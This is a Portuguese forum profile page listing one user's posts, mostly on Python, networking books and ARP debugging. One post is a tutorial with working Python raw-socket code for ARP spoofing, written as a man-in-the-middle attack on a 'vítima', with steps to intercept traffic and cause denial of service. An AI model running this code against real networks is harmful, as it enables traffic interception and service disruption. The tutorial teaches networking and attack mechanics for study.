Ir para conteúdo
  • Cadastre-se

gnoo

Membros
  • Total de itens

    85
  • Registro em

  • Última visita

Tudo que gnoo postou

  1. gnoo

    Boletins semanais

    Os boletins que recebes no teu email com o qual fizeste a inscrição neste forum (mente binária), recebes um email todas as segundas feiras, se não estou em erro .
  2. gnoo

    Vacina: Vírus atalho

    @Aof envia-me esse link em mensagem privada se faz favor.
  3. gnoo

    Vacina: Vírus atalho

    @Aof o código fico bom, sabes onde posso arranjar um virus, coisa básica, que faça uso do wscript.exe, para ver como ele funciona? Eu preciso ver esse processo a decorrer no sistema, à alguma coisa na tua lógica que eu não estou a perceber, tu começas a tentar terminar um processo que eventualmente está a decorrer no sistema sem antes ver se ele está ativo, há alguma razão para isso? Mesmo depois de "finalizar o processo" e enviar uma mensagem a dizer que nada foi encontrado, continuas à procura nos directórios por um suposto arquivo .exe e .js. Uma questão, porquê que estás a ir neste caminho em especifico? "C:\\Users\\"+username+"\\AppData\\Roaming\\" Se souberes de algum virus desse para eu executar numa vm e ver como os processos decorrem, deixa ai link para baixar. abraço. :)
  4. gnoo

    Resolver Criptografia

    @thomaswpp tudo bem? De onde tiraste esse exercício? Estás a estudar isso por onde?
  5. gnoo

    Vacina: Vírus atalho

    olá @Aof tudo bem!? Seria interessante melhorar o nome das tuas variáveis para perceber melhor !? Outra questão e desculpa a minha ignorância( eu já não me lembro da ultima vez que usei windows não conheço os comandos), mas o que "taskkill /T /F /IM wscript.exe", faz?, a minha duvida tem a ver com estes "/T /F /IM". Outra coisa, esse executável "wscript.exe", é um arquivo especifico? (se sim onde baixar?), preciso executar ele durante os testes?, ou é apenas para exemplo? Abraço :)
  6. Saudações, neste tópico vou deixar alguma informação sobre o que é o protocolo ARP, como ele funciona e falar um pouco sobre ARP request, ARP reply que se traduz no ataque man-in-the-Middle, isto serve para eu consolidar alguns conceitos e também espero que sirva para quem se está a iniciar e já usa algumas ferramentas e roda uns comandos no terminal ou usa Scapy e quer saber um pouco mais do que acontece por baixo dos panos, manipular os seus próprios pacotes, se conseguirem acompanhar o meu raciocinio, vão conseguir ampliar um pouco mais a vossa visão e quem sabe abrir novos horizontes para outras coisas, este conteúdo reflete um pouco a minha experência durante o tempo que explorei este assunto. E também quero acreditar que se conseguires perceber mais ou menos o conteúdo que segue, a tua mãe vai ficar muito orgulhosa do filho/a que tem . Para seguir este conteúdo convém saber o básico de programação em python especialmente no que toca a raw sockets e da biblioteca struct, e também saber mexer minimamente no wireshark, estes conceitos básicos podem ser utilizados com outras linguagens de programação se forem deviamente adaptados. Os conceitos de redes aqui apresentados são retirados deste livro que recomendei anteriormente aqui: https://www.mentebinaria.com.br/forums/topic/427-livro-para-estudo-tcp-ip/ Os trechos de código aqui apresentados foram feitos para distros GNU/Linux, a distribuição utilizada foi debian, codename: Stretch. Então, vamos iniciar, boa sorte… Endereços 48-Bit Ethernet MAC (hardware) Bibliografia: interligação de redes com TCP/IP-vol. 1 6º edição capitulo 2 Formato do frame Ethernet e tamanho de pacote Bibliografia: interligação de redes com TCP/IP-vol. 1 6º edição capitulo 2 O que é o protocolo ARP e como funciona - IPv4 Bibliografia: interligação de redes com TCP/IP-vol. 1 6º edição capitulo 6 Encapsulamento e identificação do ARP Bibliografia: interligação de redes com TCP/IP-vol. 1 6º edição capitulo 6 Formato de mensagem ARP Bibliografia: interligação de redes com TCP/IP-vol. 1 6º edição capitulo 6 O cache ARP Bibliografia: interligação de redes com TCP/IP-vol. 1 6º edição capitulo 6 Como ver os endereços resolvidos na cache ARP do nosso sistema O exemplo que trago aqui, é feito em debian, eu faço essa distinção de distros porque o debian ao contrário de outras distribuições, atualmente, não chega com o pacote net-tools uma vez que está obsoleto, o pacote que vem no debian é o iproute2. Eu acredito que a maioria das distros tráz os dois pacotes instalados, caso o iproute2 não esteja instalado no sistema podes instalar, se te sentires mais à vontade com o net-tools usas esse, estás no teu direito, fazes como achares melhor. Comandos para consultar carche ARP -Pacote net-tools: $ arp -a -Pacote iproute2: $ ip n Rodando qualquer um destes comandos no terminal vai dar um resultado mais ou menos parecido a este: O endereço 192.168.1.1 é o endereço do nosso router ( o vosso pode ser diferente ), esse endereço está ali porque é o primeiro dispositivo a interagir com o nosso sistema na altura em que te ligas à internet e é ele que é o responsável por fazer o roteamento dos pacotes que saem da tua máquina, o nosso sistema vai estar a enviar pacotes para ele constantemente. Ativar IP forward IP forward é um recurso do Kernel Linux é o que nos vai permitir fazer o roteamento de pacotes através do nosso sistema entre dois ou mais dispositivos, neste caso entre o router e uma suposta vitima. O ip_forward fica no caminho /proc/sys/net/ipv4/ip_forward, com o comando cat podemos ver que o valor contido nele é zero, uma vez que como host comum não fazemos roteamento de pacotes. Para ativar esta funcionalidade substituimos o valor 0 pelo valor 1, para isso temos que elevar previlegios de administração e mudar utilzador para root. Agora que já vimos uns conceitos básicos de redes e algumas configurações básicas do nosso sistema.... Está na hora de começar a mexer com python. ARP request com python raw sockets Agora que já sabemos o que é um ARP request vamos ver como fazer isso com python. O código que segue tem que ser executado como root uma vez que estamos a trabalhar com raw sockets. import socket import struct import binascii raw = socket.socket(socket.PF_PACKET, socket.SOCK_RAW, socket.ntohs(0x0806)) raw.bind(("wlp3s0",socket.htons(0x0806))) mac_local = '<Aqui segue o MAC da tua máquina>' ip_local = "Aqui segue o IPv4 da tua máquina" mac_dest = 'ff:ff:ff:ff:ff:ff' ip_dest = "Aqui segue o IPv4 da máquina que está na rede" tipo_hardware = 1 tipo_protocol = 0x0800 len_hardware = 6 len_protocol = 4 operacao = 1 src_ip = socket.inet_aton(ip_local) dest_ip = socket.inet_aton(ip_dest) mac_dest_byte_order = binascii.unhexlify(mac_dest.replace(":", "")) mac_src_byte_order = binascii.unhexlify(mac_local.replace(":", "")) # Ethernet frame protocol = 0x0806 ethernet_frame = struct.pack("!6s6sH", mac_dest_byte_order, mac_src_byte_order, protocol) arp_header = struct.pack("!HHBBH6s4s6s4s",tipo_hardware, tipo_protocol, len_hardware, len_protocol, operacao, mac_src_byte_order, src_ip, mac_dest_byte_order, dest_ip) pacote = ethernet_frame + arp_header cont=0 while cont < 5: raw.send(pacote) cont += 1 Então temos duas máquinas , a 192.168.1.6 que é a máquina local, e a máquina 192.168.1.5 que é a que vamos enviar o request. Podem ver com o wireshark que aparece as expressões “ who as ” e “is at”… o “ who as” indica que está a ser feito um broadcast à nossa rede local em que a máquina 192.168.1.6 busca o endereço MAC da máquina 192.168.1.5 através de um ARP request, e por fim temos um “ is at ” que é a máquina 192.168.1.5 a enviar o seu endereço MAC através de um ARP reply. Conceito básico de Man-in-the-middle Já vimos que para obter o endereço MAC de uma máquina que está na rede fazemos um ARP request para toda a rede, o man in the middle, se nós queremos analisar o tráfego nos dois sentidos temos que dizer ao router que a máquina da vitima tem o nosso endereço MAC, e temos que dizer à máquina da vitima que o router tem o nosso endereço MAC, ou seja temos que fazer uma afirmação para esses dois dispositivos, isso traduz-se num ARP reply. Configuração iptables Uma boa fonte sobre este assunto é o livro segurança prática em sistemas e redes com Linux, do autor jorge granjal. O importante aqui antes de iniciar o man-in-the-middle é perceber como está definida a chain FORWARD, em que a sua politica que deve ACCEPT, apenas se o nosso sistema estiver a servir de router, que é exatamente isso que nós queremos, é fazer o roteamento dos pacotes entre vitima e o router. Se a politica da chain FORWARD estiver DROP , os pacotes que vêm da vitima quando chegarem à tua máquina o sistema vai “ deixar cair ” esse pacotes, dessa forma vais estar a negar o serviço à vitima… que vamos falar mais à frente. Alguns sistemas como o debian já vêm com FORWARD policy ACCEPT, nesse caso não é preciso fazer nenhuma alteração. No caso de a policy da chain FORWARD for DROP temos que fazer essa alteração para ACCEPT. Para ver como essas politicas estão definidas no nosso sistema usamos o comando iptables -L elevando privilégios de administração com sudo ou com utilizador root. Se estiver DROP como mostra a imagem… Nós não queremos isto, queremos FORWARD policy ACCEPT, a alteração dessa regra é feita com o o seguinte comando, iptables -P FORWARD ACCEPT , para ficar da seguinte forma… Agora que que já ativamos o IP Forward e configuramos o iptables podemos iniciar o man-in-the-middle. 😁 Man-in-the-middle com python raw sockets Executando o código que segue podemos olhar à cache ARP do nosso sistema para ver as alterações que surgem. import socket import struct import binascii from time import sleep raw = socket.socket(socket.PF_PACKET, socket.SOCK_RAW, socket.ntohs(0x0806)) raw.bind(("wlp3s0",socket.htons(0x0806))) src_mac = "Aqui vai o MAC da tua máquina" vit_mac = "Aqui vai o MAC da vitima" router_mac = "Aqui vai o MAC do router" ip_vitima = "Aqui vai o IPv4 da vitima" ip_router = "Aqui vai o IPv4 do router" type_hardware = 1 type_protocol = 0x0800 len_hardware = 6 len_protocol = 4 operacao_reply = 2 protocolo = 0x0806 vit_ip = socket.inet_aton(ip_vitima) router_ip = socket.inet_aton(ip_router) vit_mac_byte_order = binascii.unhexlify(vit_mac.replace(":", "")) src_mac_byte_order = binascii.unhexlify(src_mac.replace(":", "")) router_mac_byte_order = binascii.unhexlify(router_mac.replace(":", "")) ethernet_frame_vit = struct.pack("!6s6sH", vit_mac_byte_order, src_mac_byte_order, protocolo) ethernet_frame_router = struct.pack("!6s6sH", router_mac_byte_order, src_mac_byte_order, protocolo) arp_header_vit = struct.pack("!HHBBH6s4s6s4s",type_hardware, type_protocol, len_hardware, len_protocol, operacao_reply, src_mac_byte_order, router_ip, vit_mac_byte_order, vit_ip) arp_header_router = struct.pack("!HHBBH6s4s6s4s",type_hardware, type_protocol, len_hardware, len_protocol, operacao_reply, src_mac_byte_order, vit_ip, router_mac_byte_order, router_ip) pacote_vitima = ethernet_frame_vit + arp_header_vit pacote_router = ethernet_frame_router + arp_header_router while True: raw.send(pacote_vitima) raw.send(pacote_router) sleep(2) Comandos para consultar carche ARP -Pacote net-tools: $ arp -a -Pacote iproute2: $ ip n Na imagem que segue podemos ver que o router 192.168.1.1 tem o mesmo endereço MAC que a máquina 192.168.1.6 que é aquela de onde eu estou a fazer o ataque e onde passa o tráfego. No wireshark com filtro arp, podemos ver um reply que diz que o router 192.168.1.1 e a máquina 192.168.1.5 estão no endereço MAC c0:cb:38:8a:f0:0e da máquina 192.168.1.6. Observando o tráfego no wireshark Agora que temos o tráfego entre router e a máquina da vitima a passar pelo nosso sistema podemos observar o seu tráfego no wireshark com o filtro tcp. Imaginando que a vitima esta a aceder ao site do https://www.mentebinaria.com.br/ que se encontra no endereço 107.155.88.168, com o wireshark podemos ver o inicio dessa comunicação, a negociação entre a máquina 192.168.1.5 e o servidor 107.155.88.168. A partir daqui já sei que a máquina 192.168.1.5. está no site do mente binária. Dos ( denial of service ) Denial of service mais conhecido por Dos, traduz-se na negação de serviço de um ou mais hosts, aqui vamos dar como exemplo a maquina 192.168.1.5 anterior, o objetivo é impedir que ela faça requisições para fora da rede. Podemos fazer isto de duas formas, ou alteramos o valor do ip_forward para 0, ou alteramos a politica da chain FORWARD para DROP, e executamos o código anterior. Reestruturação da rede Quando finalizamos o ataque dizem que é boa prática reestruturar a rede, e se eles dizem é isso que nós fazemos… A logica disto é enviar um reply à máquina e ao router a dizer qual o endereço MAC real de cada dispositivo. Eu vou deixar um exemplo apenas para a máquina, em que dizemos o MAC real do router, o pacote para o router é só seguir o mesmo raciocinio. import socket import struct import binascii from time import sleep raw = socket.socket(socket.PF_PACKET, socket.SOCK_RAW, socket.ntohs(0x0806)) raw.bind(("wlp3s0",socket.htons(0x0806))) mac_local = 'Aqui vai o MAC da tua máquina' ip_local = "Aqui vai o IPv4 do router" mac_dest = 'Aqui vai o MAC da Vitima' ip_dest = "Aqui vai o IPv4 da vitima" mac_router = 'Aqui vai o MAC do router' tipo_hardware = 1 tipo_protocol = 0x0800 len_hardware = 6 len_protocol = 4 operacao = 2 src_ip = socket.inet_aton(ip_local) dest_ip = socket.inet_aton(ip_dest) mac_dest_byte_order = binascii.unhexlify(mac_dest.replace(":", "")) mac_src_byte_order = binascii.unhexlify(mac_local.replace(":", "")) mac_router_byte_order = binascii.unhexlify(mac_router.replace(":", "")) # Ethernet frame protocol = 0x0806 ethernet_frame = struct.pack("!6s6sH", mac_dest_byte_order, mac_src_byte_order, protocol) arp_header = struct.pack("!HHBBH6s4s6s4s",tipo_hardware, tipo_protocol, len_hardware, len_protocol, operacao, mac_router_byte_order, src_ip, mac_dest_byte_order, dest_ip) pacote = ethernet_frame + arp_header while True: raw.send(pacote) sleep(2) Se viste algum erro deixa nos comentários... Abraço.
  7. gnoo

    Quero me tornar um desenvolvedor de Games

    Olá @Henrique Morgani bem?, Mal não te vai fazer, especialmente se for o inicio de algo, se gostas de uma aprendizagem de um modo interactivo pode ser bom, se poderes pagar deves pensar que é um investimento e não um gasto, analisa bem esse e outros cursos faz comparações. Agora também tens de pensar já existe ai PDF's de livros sobre isso para quem quer ver online, e se optares por cursos em video em inglês provavelmente vais encontrar cursos para download sem pagar nada. Faz uma "googlenagem" mais ativa vais ver que encontras coisas interessantes por ai... Boa sorte :)
  8. gnoo

    Gerador de licença hexadecimal de 32

    @Erick de Souza vê no YouTube este canal que se chama curso em vídeo tem lá um curso de Python em português, o curso é bastante didático e bem feito, ele explica como instalar onde introduzir o código e efectuar todos os fundamentos que precisas saber de início segue o link do curso Ele tem outros cursos não sei se são bons eu só fiz o de marketing digital.
  9. gnoo

    Gerador de licença hexadecimal de 32

    @Erick de Souza Para iniciar em Python o pycharme poderá não ser o mais indicado porque necessitas algumas configurações. Tenta usar a IDLE do Python. @sombrakey o repl.it interpreta o código do Python em JavaScript apesar de ser uma ferramenta interessante pode conter algumas falhas na altura de interpretar esse código, eu próprio uso em circunstâncias muito específicas e já reportei pelo menos dois bugs.
  10. gnoo

    TCP Handshake com python socket

    Saudações, o objetivo deste tópico é consolidar conhecimentos aumentando as minhas competências pessoais, e também deixar alguma informação a outros utilizadores que muito provavelmente fazem uso da biblioteca socket do python, e executam um handshake cada vez que criam uma conexão e muito provavelmente nem dão por isso.... eu não vou aprofundar muito a questão com promenores tecnicos porque não tenho competências nem conhecimentos para tal, mas fica uma explicação bastante genérica e concisa com o pouco que sei que para alguns pode ser um ponto de partida para que possam alargar horizontes. De uma forma grosseira podemos dizer que um handshake ocorre no protocolo TPC resultado de uma negociação entre dois dispositivos podendo dar como exemplo um cliente e um servidor, onde ocorre um troca de pacotes entre eles, esses pacotes estão associados a um cabeçalho que contém um campo com informação de uma flag que é enviada, essas flags indicam o inicio de comunicação, a aceitação da comunicação neste caso do cliente com o servidor, e também são definidas flags para que seja terminada essa sessão. Cabeçalho TCP Os requisitos para este exemplo são a idle do python ou um editor de texto a vossa escolha, e o wireshark para observar essa troca de pacotes com as respetivas flags. Código python Em seguida devem iniciar o wireshark e escolher a interface da placa de rede que está em uso, e escolher como filtro o TCP, ele vai capturar apenas os pacotes que se deslocam nesse protocolo. Quando executam o código anterior podem ver que o wireshark capturou alguns pacotes entre o cliente e o servidor, onde podem ser vistas as flags que foram trocadas entre eles para que a conexão fosse efetuada. O que estas flags nos dizem ... O que isto mais ou menos nos diz é que o cliente ao enviar a flag SYN pede para iniciar conexão, o servidor envia resposta SYN+ACK como reconheicmento para que a conexão seja efetuada e o cliente envia finaliza com a flag ACK em que reconhece a resposta enviada pelo servidor. Isto é um handshake efetuado com python mas poderia ser com outra linguagem qualquer. Se viste algum erro já sabes o que tens que fazer :) Cumprimentos.
  11. gnoo

    Por onde começar? (cybersecurity)

    Olá @Flarton01, tudo bem !? Olha eu não trabalho na área de segurança, aliás não trabalho em qualquer área de TI, mas sou um curioso e gosto explorar alguns ambientes na àrea da informática, apesar de estar a tentar entrar na àrea do desenvolvedor web por minha conta, mas isso é outra conversa.... da minha experiência até agora, depois de ver e ouvir muitas pessoas seja em "cursos de hackers" ou de "hacking", por norma esse tipo de conteúdo, é bom no sentido que te vai ajudar a perceber como alguns ataques são feitos, e tecnicas que podem ser aplicadas, embora esse tipo de conteúdo muito raramente explica o porque dessa falha existir ( não estou a dizer que são todos assim mas, não é fácil encontrar um conteúdo que seja realmente bom), aquilo que aprendes nesse cursos basicamente é a execução de comandos no terminal talvez alguns scripts seja em python ou shell script.... já para não falar no preço absurdo que cobram por esses curso ( 1000 Reais para aprender a fazer meia duzia de comandos do nmap e metasploit ou hidra é para rir mesmo 😂) de "hacker" & "hacking", quando a maior parte desse conteúdo já está disponivel na web se souberes onde procurar e o que deves procurar. Como já te disse não sou da área de segurança, nem de TI, mas posso dizer com é que tomei conhecimento do pouco ( quase nada ) que sei... 1- Encontrar um forum deste tipo com que te identificas, e expor as tuas dúvidas 2-Aprender Redes ao mesmo tempo que aprendes programação e criar as tuas próprias ferramentas ( nunca usar metasploit, foge disso, metasploit é ruim 😋) 3-Criar uma aplicação web ( e-commerce, um simples blog, etc...) Aprende a programar, aprende bem os fundamentos, não interessa qual linguagem todas são boas, python, javascript, php, etc, CONTINUA A ESTUDAR REDES TODOS OS DIAS, aprende a programar a parte do cliente e a parte do servidor fullstack... Sim, fazer uma aplicação web vai-te dar uma visão bastante abrangente sobre o que precisas saber, vai perceber como funciona a rede e como são feitas as requisições, vai-te dar uma noção de como funciona um browser e como extrair o máximo de informação dele. Fazer uma aplicação web, vais perceber mecanismos de segurança que devem ser aplicados, logo também vais ficar a saber que tipo de falhas procurar e vas perceber o porquê daquela falha existir... vais ouvir falar em XSS, Tokens, Keys, injeção de código, redirecionamentos, injeções de SQL, etc... Vais aprender a programar a parte do servidor, vai ter contacto com bases de dados, SQL, querys. Vais alojar esse site vais perceber o que é um dominio, DNS e como ambos são configurados e como funcionam. Vais aprender cloud, configurar servidores, a sua manutenção, etc... Se já sabes tudo aquilo que foi descrito anteriormente, podes complementar com qualquer desses cursos e certificações que falaste 😉 boa sorte abraço
  12. gnoo

    O que é um "authority path-abempty" em uma sintaxe URI

    Olá @domedfd tudo bem, lê este texto primeiro até ao fim ( não sei se já viste ) https://woliveiras.com.br/posts/url-uri-qual-diferenca/ há uma questão parecida à tua no stackoverflow pode ser que ajude https://stackoverflow.com/questions/40905666/what-does-abempty-mean-in-the-term-path-abempty-in-the-context-of-rfc398 no google tradutor o que podes fazer para melhorar a tradução é traduzir um parágrafo de cada vez, dá trabalho dessa forma ...mas compensa o esforço.
  13. gnoo

    Indicação de Livro socket em C

    Os conceitos apresentados nesse livro também dá para para outras linguagens eu uso bastante coisas em Python, apesar da sintaxe da linguagem ser diferente as bases estão todas ai.
  14. gnoo

    Livro para estudo TCP / IP

    Saudações, tenho estudado por este livro o protocolo TCP / IP, e é um livro bastante completo.
  15. Saudações, todos sabemos que a democracia um pouco por todo o mundo está cada vez mais frágil ou talvez nem exista, talvez estejamos a confundir estados tolerantes com estados democráticos, só temos direitos porque temos deveres, e atualmente dever que nos é permitido antes de qualquer outro é consumir, sem consumo a democracia vai à falência e o estado democrático entra na banca rota. Quero desejar a toda a comunidade Brasileira boa sorte no domingo.
  16. gnoo

    Livro: Fundamentos de Engenharia Reversa

    @Sulivan Tavares Leite essa correção não faz sentido nenhum, és tu quem está a cometer o erro de não seguir os requisitos do livro... No tópico " Antes de começar ", está bem explicito que para seguir o conteúdo do livro, deve-se utilizar a versão 2.7 do python https://mentebinaria.gitbook.io/engenharia-reversa/antes-de-comecar e tu estás a usar ( como é lógico ), a versão 3.6 do python, é dai que esse erro aparece, se tentares introduzir esses dados no python 2.7 esse erro não vai aparecer. Outra questão que na minha opinião deverias ter em conta, é sobre o facto estares a utilizar um interpretador que NÃO É nativo do python, pelo que eu entendi tu estás a utilizar o repli.it , corrige-me se eu estiver errado.... esse código é interpretado por javascript, o que pode algumas vezes dar origem a pequenos erros ... ou talvez não... O mais importante disto tudo é que tu, estás a utilizar uma versão do python que não é compativel com o conteúdo do livro. Abraço. @Fernando Mercês tens mesmo que atualizar isso 😛
  17. gnoo

    como são detectadas as redes LTE 4G ?

    Saudações, estava aqui a pensar, o wifi publico cada vez é menos usado devido à net móvel.... como são detectadas as redes LTE 4G e os dispositivos ligados a ela?
  18. gnoo

    Livro: Fundamentos de Engenharia Reversa

    O conteúdo é muito bom mas nunca compreendi o porquê de continuar a fazer conteúdo com python 2.7 especialmente quando vai deixar de ter suporte dentro de 1 ano, https://pythonclock.org/ nuca fez sentido para mim usar python na versão 2.7, python já vai quase na versão 4, no entanto ainda continua a acontecer fazer conteúdo com uma versão praticamente obsoleta, podemos ver isso a acontecer em livros com edição bastante recente o código vir em python 2.7 e ser cobrado um valor absurdo por esse conteúdo... Talvez seja uma religião... 😛 Amen 😇
  19. gnoo

    Livros de programação em C

    Mais um complemento interessante:
  20. Saudações, Qual é a melhor maneira de reportar hosts vulneráveis na rede, com serviços SSH ou e-mail expostos ? A melhor forma será contactar o ISP? Obrigado.
  21. gnoo

    Dúvida requisição HTTP

    Saudação, quando faço uma requisição no browser www.qqcoisa.com esse pacote vai ao ISP DNS Servidor. Mas se em vez de www.qqcoisa.com enviar apenas o IP 200.15.20.130... Ele também passa no ISP ou vai direto ao servidor?
  22. Saudações, tenho andado aqui a tentar fazer um código que que faz requisições ARP e espera por um reply do host para onde foi enviado o pacote mas, nunca vem esse reply... #!/usr/bin/env python3 import struct import socket raw = socket.socket(socket.AF_PACKET, socket.SOCK_RAW, socket.htons(0x0806)) raw.bind(("wlp3s0", socket.htons(0x0806))) mac_local = "ff:ff:ff:ff:ff:ff" # mac de quem envia request ip_local = "192.168.1.7" # ip de quem envia request mac_dest = "ff:ff:ff:ff:ff:ff" # mac de quem recebe request ip_dest = "192.168.1.6" # ip de quem recebe request # Ethernet Header protocolo = 0x0806 # 0x0806 protocolo para ARP ethernet_header = struct.pack("!6s6sH", mac_dest.encode(), mac_local.encode(), protocolo) # ARP header tipo_hardware = 1 tipo_protocolo = 0x0800 # IPV4 tamanho_endereco_hardware = 6 # Refere ao tamanho do endereço do MAC que é 48 bits == 6 bytes tamanho_endereço_protocolo = 4 # Refere ao tamanho do endereço do ipv4 que é 32 bits == 4 bytes operacao = 1 # 1 = request / 2 = Reply envia_ip = socket.inet_aton(ip_local) destino_ip = socket.inet_aton(ip_dest) arp_addr = struct.pack("!HHBBH6s4s6s4s",tipo_hardware, tipo_protocolo, tamanho_endereco_hardware, tamanho_endereço_protocolo, operacao, mac_local.encode(), envia_ip, mac_dest.encode(), destino_ip) pacote = ethernet_header + arp_addr cont = 0 while cont < 6: raw.send(pacote) cont +=1 Resultado do wireshark
  23. Saudações, após vários momentos de sangue, suor e lágrimas , e um pouquinho de Stack Overflow finalmente resolvi o meu problema... No código acima o que não estava a funcionar era o formato em que o meu mac_local e o mac_dest não estavam a ser bem empacotados, dai o resultado apresentado pelo pelo wireshark ser completamente diferente do meu MAC real. Isso acontecia porque estava a empacotar um endereço mac com 6 bytes quando na realidade o tamanho da string era 17 bytes (salvo erro), então só apanhava esses 6 bytes logo o mac não era empacotado na totalidade, e como o mac não estava correto ele não fazia o broadcast para a rede, sem broadcast não há resposta. Para resolver isso tive que passar os endereço mac para byte order. Como fazer isso? O código pouco ou até mesmo nada mudou mas deixo o resultado final... Para ver o comportamento dos pacotes enviados deve ser feito através do wireshark ou outra ferramenta que cumpra a mesma função, com filtro "arp". #!/usr/bin/env python3 import struct import socket raw = socket.socket(socket.AF_PACKET, socket.SOCK_RAW, socket.htons(0x0806)) raw.bind(("wlp3s0", socket.htons(0x0806))) mac_local = b'\xff\xff\xff\xff\xff\xff' # mac de quem envia request ip_local = "192.168.1.7" # ip de quem envia request mac_dest = b'\xff\xff\xff\xff\xff\xff' # Endereço broadcast para que seja enviado um reply ip_dest = "192.168.1.2" # ip de quem recebe request # Ethernet Header protocolo = 0x0806 # 0x0806 protocol to ARP ethernet_header = struct.pack("!6s6sH", mac_dest, mac_local, protocolo) # ARP header tipo_hardware = 1 tipo_protocolo = 0x0800 # IPV4 tamanho_endereco_hardware = 6 # Refere ao tamanho do endereço do MAC que é 48 bits == 6 bytes tamanho_endereco_protocolo = 4 # Refere ao tamanho do endereço do ipv4 que é 32 bits == 4 bytes operacao = 1 # 1 = request / 2 = Reply envia_ip = socket.inet_aton(ip_local) destino_ip = socket.inet_aton(ip_dest) arp_addr = struct.pack("!HHBBH6s4s6s4s",tipo_hardware, tipo_protocolo, tamanho_endereco_hardware, tamanho_endereco_protocolo, operacao, mac_local, envia_ip, mac_dest, destino_ip) pacote = ethernet_header + arp_addr # Ciclo de repetição while é opcional cont = 0 while cont < 6: raw.send(pacote) cont +=1
  24. Qualquer coisa que não está bem com o meu MAC e o MAC do destinatário, provavelmente não está a ser devidamente empacotado e eu não percebo porquê, apesar de eu estar a passar o meu mac correto o wireshark, o MAC do destinatário que vai no pacote deveria ser ff:ff:ff:ff:ff:ff:ff e não 30:30:3a:30:30:3a.
×